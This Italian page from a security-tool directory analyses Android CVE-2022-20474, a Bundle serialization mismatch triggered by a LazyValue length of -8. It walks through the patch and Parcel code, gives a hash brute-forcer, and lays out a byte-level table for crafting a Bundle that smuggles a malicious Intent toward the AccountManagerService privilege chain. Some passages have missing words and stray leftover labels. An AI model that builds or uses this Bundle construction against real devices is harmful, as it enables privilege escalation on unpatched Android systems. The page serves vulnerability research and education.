Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-20474 — PoC di CVE-2022-20474 | Kitploit
Strumenti/GitHubGitHub/cxxsheng/cve-2022-20474
Sicurezza AndroidAnalisi delle VulnerabilitàExploitPaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubcxxsheng/cve-2022-20474

CVE-2022-20474

PoC di CVE-2022-20474

Vedi Repository
2011 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Analisi di CVE-2022-20474 — Self-changed Bundle in LazyValue

Introduzione

Nota: prima di leggere questo articolo, dovreste avere una conoscenza di base delle vulnerabilità Bundle Mismatch. Se non avete ancora letto i seguenti riferimenti, vi consiglio di farlo:

  1. Bundle Feng Shui — Analisi approfondita delle vulnerabilità di disallineamento tra serializzazione e deserializzazione in Android: classico tutorial di livello introduttivo.
  2. Storia di attacchi e difese delle vulnerabilità di deserializzazione Android: buon articolo di sintesi.
  3. TheLastBundleMismatch: il primo articolo sul Bundle Mismatch in modalità LazyValue.

Contesto

Di recente stavo studiando attentamente l'articolo LeakValue di michalbednarski. Durante una discussione con Canyie, mi ha detto che nell'articolo veniva menzionato anche un caso di Self-changing Bundle nello scenario LazyValue. Così sono andato a cercare nel testo originale e in effetti c'era proprio questo passaggio, che avevo completamente saltato leggendo l'articolo di Michal. Il testo originale dice:

(Also LazyValue with negative length specified can be used (without using other bugs described in this writeup) to create self-changing Bundle, the thing LazyValue was created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)

Michal si riferiva probabilmente a CVE-2022-20474 (bulletin, patch). Ho dato un'occhiata alla patch, ma la funzione presente nel link non era completa; l'ho completata e poi l'ho esaminata più attentamente:

root@kitploit:~
@@ -4388,6 +4388,9 @@
    public Object readLazyValue(@Nullable ClassLoader loader) {
         int start = dataPosition();
         int type = readInt();
         if (isLengthPrefixed(type)) {
             int objectLength = readInt();
+            if (objectLength < 0) {
+                return null;
+            }
             int end = MathUtils.addOrThrow(dataPosition(), objectLength);
             int valueLength = end - start;
             setDataPosition(end);
             return new LazyValue(this, start, valueLength, type, loader);
         } else {
            return readValue(type, loader, /* clazz */ null);
         }
    }             

Nel codice, objectLength è il length del LazyValue; in realtà si tratta solo della lunghezza dell'oggetto variabile contenuto nel LazyValue, mentre la lunghezza dell'intero LazyValue è controllata dal campo mLength, cioè valueLength nel codice, che nel costruttore di LazyValue viene passato a mLength.

Confrontiamo ora il formato di layout di LazyValue:

root@kitploit:~
       /**
         *                      |   4B   |   4B   |
         * mSource = Parcel{... |  type  | length | object | ...}
         *                      a        b        c        d
         * length = d - c
         * mPosition = a
         * mLength = d - a
         */

Sulla base di quanto sopra, possiamo ricavare i seguenti fatti:

  1. mLength rappresenta la lunghezza dell'intero LazyValue; mLength = objectLength + 8 byte.
  2. objectLength deve essere maggiore o uguale a 0.
  3. L'oggetto LazyValue conserva solo mLength e non objectLength, perché quando LazyValue esegue una copia in memoria, copia l'intero oggetto.
  4. Dopo la lettura, il puntatore viene riportato al punto iniziale; potrebbe quindi rileggere il LazyValue.

Poi, dopo averci riflettuto a lungo, siamo giunti alla conclusione che questi fatti non servivano a NULLA! Perché sulla base dei fatti sopra, si poteva modificare solo una volta durante la read, mentre sappiamo che l'idea centrale di Self-changed Bundle è modificare dopo che la read è stata completata: solo così si può aggirare il controllo di sicurezza.

Proprio quando stavamo per rinunciare, abbiamo scoperto alcuni dettagli nella descrizione della patch:

Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.

objectLength anomalo

Lì si dice che quando objectLength è -8 si verificano alcuni problemi; questo ci ha dato qualche spunto in più. A questo punto, LazyValue può ancora eseguire apply correttamente?

root@kitploit:~
        @Override
        public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    // Check mSource != null guarantees callers won't ever see different objects.
                    if (mSource != null) {
                        int restore = source.dataPosition();
                        try {
                            source.setDataPosition(mPosition);
                            mObject = source.readValue(mLoader, clazz, itemTypes);
                        } finally {
                            source.setDataPosition(restore);
                        }
                        mSource = null;
                    }
                }
            }
            return mObject;
        }

  	/**
     * @see #readValue(int, ClassLoader, Class, Class[])
     */
    @Nullable
    private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
            @Nullable Class<?>... itemTypes) {
        int type = readInt();
        final T object;
        if (isLengthPrefixed(type)) {
            int length = readInt();
            int start = dataPosition();
            object = readValue(type, loader, clazz, itemTypes);
            int actual = dataPosition() - start;
            if (actual != length) {
                Slog.wtfStack(TAG,
                        "Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
                                + "  consumed " + actual + " bytes, but " + length + " expected.");
            }
        } else {
            object = readValue(type, loader, clazz, itemTypes);
        }
        return object;
    }

Si può vedere che la readValue effettiva inizia a leggere da mPosition, poi legge LazyType e objectLength in sequenza, quindi entra nel normale flusso di lettura del Value. Ad esempio, un Parcelable deve leggere ClassName e poi eseguire createFromParcel. Una volta completata la lettura, non c'è alcuna differenza rispetto a una normale Key-Value, e non influisce sulla serializzazione successiva. Rivedendo il tutto, l'idea centrale di Self-changed Bundle è modificare dopo la lettura; qui si tratta solo di una normale lettura fuori dai limiti, quindi questa strada non sembra percorribile.

E se invece il LazyValue non viene sottoposto ad apply in questo processo? In altre parole, continua a partecipare all'IPC come LazyValue; in questo caso viene chiamata la sua funzione writeToParcel:

root@kitploit:~
     public void writeToParcel(Parcel out) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    if (mSource != null) {
                        out.appendFrom(source, mPosition, mLength);
                        return;
                    }
                }
            }
            out.writeValue(mObject);
        }

L'intero LazyValue viene copiato direttamente, a meno che mLength = 0. Un momento! Prima ho detto che mLength = objectLength + 8 byte, e dalle informazioni della patch sappiamo che per innescare la vulnerabilità objectLength deve essere -8; quindi in questo caso mLength = 0 è verificato. In altre parole, in questo scenario l'intero LazyValue sparisce, viene copiata solo la String Key, e questo crea una scrittura mancante; la condizione per Self-changed Bundle è direttamente soddisfatta.

Ora che ne conosciamo la causa, possiamo iniziare la riproduzione; ma prima ci serve ancora un'infinità di dettagli.

Dettaglio 1: due tipi di Bundle

root@kitploit:~
 static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
 private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'

Sappiamo tutti che il layout in memoria di Bundle è più o meno il seguente:

root@kitploit:~
       /**
         *        |   4B   |   4B   |   4B   |
         * Bundle{| length |  MAGIC |  size  | Key  | Value | Key  | Value | ...}
         *
         */

MAGIC è il numero magico di Bundle nel layout di memoria; può essere BUNDLE_MAGIC o BUNDLE_MAGIC_NATIVE. La differenza più importante è che BUNDLE_MAGIC fa sì che le Key-Value vengano riordinate dopo la deserializzazione, come mostrato nel codice seguente:

root@kitploit:~
 /**
     * Reads a map into {@code map}.
     *
     * @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
     * @param lazy   Whether to populate the map with lazy {@link Function} objects for
     *               length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
     *               details.
     * @return a count of the lazy values in the map
     * @hide
     */
    int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
            boolean lazy, @Nullable ClassLoader loader) {
        int lazyValues = 0;
        while (size > 0) {
            String key = readString();
            Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
            if (value instanceof LazyValue) {
                lazyValues++;
            }
            if (sorted) {
                map.append(key, value);
            } else {
                map.put(key, value);
            }
            size--;
        }
        if (sorted) {
            map.validate();
        }
        return lazyValues;
    }

Il flag MAGIC alla fine influenza il valore di sorted in readArrayMap, innescando l'ordinamento della mappa. Nei commenti si dice anche che l'ordinamento viene effettuato tramite l'hash della String della key.

Dettaglio 2: overlap nella deserializzazione

root@kitploit:~
       /**
         *                 a
         * ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3  | Value3 |} 
         *
         */

Immaginiamo di nuovo il processo di parsing di ArrayMap. Al primo giro, viene prima analizzata Key1 e poi si tenta di analizzare LazyValue1. Ma poiché objectLength di LazyValue1 è -8, il puntatore del parcel torna all'inizio di LazyValue1, cioè al punto a: questo è il fatto 4 menzionato sopra. A questo punto, la prima Key-Map è stata analizzata. La seconda Key-Value inizia ad essere analizzata dal punto a; in questo momento legge prima la lunghezza della String; supponendo che LazyValue1 contenga un Parcelable, questa lunghezza dovrebbe essere 4. Quindi la vera Key2 inizia dal punto a, cioè = + . Poiché non contiene alcun dato, la sua lunghezza è di 8 byte ( + ); la lunghezza totale della è 4 (indicatore di lunghezza) + 4 * 2 + 4 ("\0") = 16 byte. Togliendo gli 8 byte di , in fase di costruzione dobbiamo aggiungere altri 8 byte, cioè 2 . Poi si continua leggendo . Quindi, durante la prima analisi, dobbiamo usare una per gestire il problema dell'arretramento del puntatore causato da un con negativo; non ci interessa il valore di , perché viene usato solo nella prima analisi: è solo uno strumento usa e getta. Dato che è usa e getta, dopo la prima analisi vorrei che stesse lontano dai nostri dati critici; sono a contenere i dati malevoli. Sarebbe meglio che l'hash di fosse maggiore di quello di , così non influenzerebbe le analisi successive. Come descritto nel , possiamo raggiungere questo obiettivo regolando l'hash di ; lo vedremo in dettaglio nel . Poi si passa all'analisi di : con il è la solita storia, basta mettere in un contenente l' malevolo, ma ha alcuni vincoli aggiuntivi. Al termine della prima deserializzazione, il layout di dovrebbe essere il seguente, con lo strumento finito in fondo:

root@kitploit:~
Key1-Value1 | Key3-Value3 | Key2-Value2

Tuttavia, come menzionato sopra in objectLength anomalo, la lunghezza di LazyValue1 è 0, quindi durante writeToParcel non viene affatto copiato. In realtà il layout è questo:

root@kitploit:~
Key1 | Key3-Value3 | Key2-Value2

Dopo aver letto Key1, c'è ancora da leggere Value1, e qui si torna a leggere fuori dai limiti; Key3 deve anche farsi carico di leggere LazyValue1. Il primo int di Key3 deve fare sia da lunghezza della String sia da Type del LazyValue; questo significa che Key3 non può essere troppo corta, altrimenti l'hash è difficile da calcolare. Ho dato un'occhiata alla lista dei Type di LazyValue e ho scelto:

root@kitploit:~
private static final int VAL_LIST  = 11; // length-prefixed

Certo, puoi scegliere anche 12, 16 o 17; basta che non sia troppo corto.

Il secondo int di Key3 deve fare da Length del LazyValue; tramite esso possiamo controllare la lunghezza di LazyValue1 e far puntare il puntatore successivo all'inizio dell'Intent malevolo. Dirai che il contenuto di LazyValue1 non è valido? Non è un problema mio: finché non si chiama getXXX per fare apply, rimarrà per sempre un LazyValue.

Dettaglio 3: implementazione del brute forcer

Basta scrivere un brute forcer:

root@kitploit:~
private static Pair<Integer, Integer> generateInt(){
        while (true) {
            Random random = new Random();
            int number1 = random.nextInt();
            int number2 = random.nextInt();
            Parcel parcel = Parcel.obtain();
            parcel.writeInt(11); //
            parcel.writeInt(32);
            parcel.writeInt(0);
            parcel.writeInt(0);
            parcel.writeInt(number1);
            parcel.writeInt(number2);
            parcel.writeInt(0);
            parcel.setDataPosition(0);
            String str = parcel.readString();
            if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() <  "Cxxsheng".hashCode() + 1000000)
            {
                parcel.recycle();
                return new Pair<>(number1, number2);
            }
            parcel.recycle();
        }

Ovviamente si può forzare anche Key2 per portarla più avanti, ma la lunghezza di Key2 è fissa a 4, piuttosto corta, e lo spazio di manovra è limitato; per Key3, invece, abbiamo lasciato un po' di spazio, quindi il brute force è più semplice. Supponiamo che Key1 sia la stringa "Cxxsheng". Vogliamo che l'hash di Key3 sia più grande di quello di "Cxxsheng", ma solo di poco; ho impostato 1000000, così avranno un'alta probabilità di restare sempre insieme, e il terzo incomodo Key2 non potrà intromettersi. Come detto sopra, i primi due int della string sono fissi. Quindi prima scriviamo VAL_LIST (che è anche la lunghezza della String); con il calcolo si scopre che mancano ancora 32 byte per arrivare all'Intent malevolo, e gli zeri rimanenti possono essere usati per il brute force. Ne ho scelti 2 e li ho forzati.

Riproduzione

Tramite number1 e number2 è possibile controllare l'ordinamento del terzo valore in ArrayMap. Poiché ArrayMap ordina in base all'hashcode della key, il terzo valore può diventare il secondo dopo la deserializzazione, subito dopo il primo "Cxxsheng", come mostrato di seguito:

root@kitploit:~
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[一段乱码]=[恶意的ByteArray], [一段乱码]=0}]

Si può notare che anche l'ordine di lettura sarà diverso da quello di scrittura. Dopo la scrittura, come analizzato prima, l'intero LazyValue viene perso, e la terza Key-Value viene riordinata al secondo posto, inclusi type e objectLength. Pertanto, il layout dell'area dati diventerà il seguente:

Sfruttamento

Il lettore può sfruttare da sé la classica catena di exploit AccountManagerService. Non mi dilungherò oltre sulla possibilità di sfruttamento, perché dipende dalla presenza della funzione checkKeyIntentParceledCorrectly nella patch di novembre 2022. Aggiungo una spiegazione: questa funzione sfrutta la simulazione del flusso di chiamata IPC per bloccare la catena di exploit AccountManagerService. Pertanto, su Android 12 o 13, anche se esiste la Mismatch, l'exploit potrebbe non riuscire; bisogna cercare un modo per bypassare questa funzione.

Possiamo riscrivere una funzione simile per simulare il flusso di chiamata IPC come segue:

root@kitploit:~
    private Bundle simulateIPCBundle(Bundle originBundle){
        Parcel p = Parcel.obtain();
        p.writeBundle(originBundle);
        p.setDataPosition(0);
        byte[] bs = p.marshall(); //debug的时候这里可以在这里看到parcel数据
        // marshall不会改变Parcel指针
        // p.setDataPosition(0); 
        Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
        p.recycle();
        return simulateBundle;
    }

Poi possiamo ammirare il diagramma di output dei log generato dalla simulazione del flusso IPC. Per i dettagli si può fare riferimento al mio codice GitHub: descrizione

Scarica lo strumento
Key2
LazyValue1
FakeKey2
LazyValue1
LazyType
objectLength
string
LazyValue1
writeInt
Value2
Key2-Value2
LazyValue1
objectLength
Key2-Value2
Key3-Value3
Key2
Key1
Dettaglio 1
Key3
Dettaglio 3
Key2-Value2
Bundle mismatch
Value3
ByteArray
Intent
Key3
ArrayMap
Key2-Value2
ValoreDescrizione
"Cxxsheng"prima key
4Verrà letto due volte: al primo giro rappresenta VAL_PARCELABLE; al secondo giro diventa la String Length della seconda Key
-8Verrà letto due volte: al primo giro rappresenta objectLength del LazyValue, causando l'arretramento del puntatore di lettura e quindi una doppia lettura; al secondo giro diventa la String Value della seconda Key
0String Value della seconda Key
0String Value della seconda Key
1VAL_INTEGER
0secondo Value
11String Length della terza Key
32String Value della terza Key
0String Value della terza Key
0String Value della terza Key
number1String Value della terza Key; questi due valori servono a regolare l'ordinamento
number2String Value della terza Key; questi due valori servono a regolare l'ordinamento
0String Value della terza Key
13VAL_BYTEARRAY
Lunghezza del LazyValuecalcolata
Lunghezza del ByteArraycalcolata
ByteArraycontiene la Key-Value malevola, cioè Intent.EXTRA_INTENT e il relativo Intent
ValoreDescrizione
"Cxxsheng"prima key
11VAL_LIST
32Lunghezza del primo Value; che ciò che segue sia valido o meno non ha più importanza (tanto questo LazyValue non verrà apply-ato), punta direttamente all'inizio dell'Intent malevolo nel ByteArray
0Valore nel LazyValue
0Valore nel LazyValue
number1Valore nel LazyValue
number2Valore nel LazyValue
0Valore nel LazyValue
13Valore nel LazyValue
Lunghezza del LazyValueValore nel LazyValue
Lunghezza del ByteArrayValore nel LazyValue
Inizio ByteArray / Intent.EXTRA_INTENTseconda key
Intentsecondo value
Terza Key-Valueè stato spostato in fondo